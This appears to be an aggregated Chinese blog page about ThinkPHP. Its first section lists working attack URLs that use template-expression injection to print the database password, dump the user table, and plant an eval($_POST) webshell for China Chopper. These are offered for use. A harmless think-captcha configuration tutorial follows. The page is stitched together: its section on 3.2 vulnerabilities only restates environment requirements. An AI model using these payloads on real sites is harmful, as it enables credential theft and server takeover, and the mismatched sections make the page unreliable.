×

thinkphp5漏洞

thinkphp 怎么利用漏洞?如何解决thinkphp5中验证码常见问题

admin admin 发表于2022-05-18 00:10:53 浏览311 评论0

抢沙发发表评论

thinkphp 怎么利用漏洞


1. 使用URL可以查看用户的数据库帐号密码DB_NAME,DB_PASS,DB_HOST
http://site/index.php/module/action/param1/${@print(THINK_VERSION)}
http://site/index.php/module/action/param1/${@print(C(‘’))}
http://site/index.php/module/action/param1/${@print(C(‘DB_PASS’))}
2.使用模型D方法或者M方法,猜测后台帐号密码,当然首先要先猜一下用户的表名了
http://www.site.com/eetodaycom/index.php/Product/show/id/25/parm1/${@var_dump(D(user)-》select())}
3.直接执行一句话代码,然后用菜刀直接连接.
http://site/index.php/module/action/param1/{${eval($_POST[s])}} 一句话密码:s

如何解决thinkphp5中验证码常见问题


  1. 在项目目录下面生成captcha扩展 (需要安装composer来安装)

  2. composer require topthink/think-captcha

  3. 2 安装完成之后会呈现如上的目录。captcha扩展安装完成之后,就可以进行下一步操作

  4. 配置comfig.php文件:在comfig.php下面加个扩展

  5. //验证码

  6. ’captcha’=》 [

  7. //字符集合

  8. ’codeset’=》’23456780qwertyuioplkjhgfdsazxcvbnmQWERTYUIOPLKJHGFDSAZXCVBNM’,

  9. //字体大小

  10. ’fontSize’ =》 18,

  11. //是否花混淆曲线

  12. ’useCurve’ =》 true,

  13. //图片高度

  14. ’imageH’ =》 40,

  15. //图片宽度

  16. ’imageW’ =》 130,

  17. //位数

  18. ’length’ =》 4,

  19. //验证成功后是否重置

  20. ’reset’ =》 true,

  21. ],

  22. 3.刷新验证码功能  src路径在这里可以用框架自带的也可以直接访问img方法

  23. 《img id=“captcha_img“ src=“{:captcha_src()}“ alt=“验证码“ onclick=“refreshVerify()“》《a

  24. href=“javascript:refreshVerify()“》点击刷新《/a》

  25. 在js《script》标签部分加上刷新事件

  26. function refreshVerify()

  27. {

  28. var ts = Date.parse(new Date() )/1000;

  29. console.log(ts);

  30. $(’#captcha_img’).attr(’src’,’/captcha?id=’+ts);

  31. }

  32. 4.在控制器里用TP验证自带的方法

  33. 在你的登录的控制器里面加入

  34. 4.1在头部引入 use think\captcha\Captcha;

  35. //该方法引入img图像  宽高可以再img用css直接控制!

  36. public function img() {

  37. $captcha = new Captcha();

  38. return $captcha-》entry();

  39. }

  40. // 检测输入的验证码是否正确,$code为用户输入的验证码字符串,$id多个验证码标识

  41. function check_verify($code, $id = ’’){

  42. $captcha = new Captcha();

  43. return $captcha-》check($code, $id);

  44. }这个方法下面的验证要用到

  45. 在你的form验证码值发送的方法里加入 post提交 GET提交就把post改成get  表单验证码name是code

  46. $request=request();

  47. if ($request-》isPost()){

  48. if($request-》post(’code’)){

  49. if($this-》check_verify($request-》post(’code’))){

  50. $message= ’验证成功’;

  51. }else{

  52. $message= ’验证错误’;

  53. }

  54. }else{

  55. $message= ’没有输入验证码’;

  56. }

  57. }

  58. 照以上做没有任何问题



Thinkphp最新的3.2系列版本有哪些漏洞


PHP5.3以上版本(注意:PHP5.3dev版本和PHP6均不支持) 支持的服务器和数据库环境 支持Windows/Unix服务器环境 可运行于包括Apache、IIS和nginx在内的多种WEB服务器和模式 支持Mysql、MsSQL、PgSQL、Sqlite、Oracle、Ibase、Mongo以及PDO等多种数据库和连接 对于刚刚接触PHP或者ThinkPHP的新手,我们推荐使用集成开发环境WAMPServer(wampserver是一个集成了Apache、PHP和MySQL的开发套件,而且支持不同PHP版本、MySQL版本和Apache版本的切换)来使用ThinkPHP进行本地开发和测试。
-thinkphp5漏洞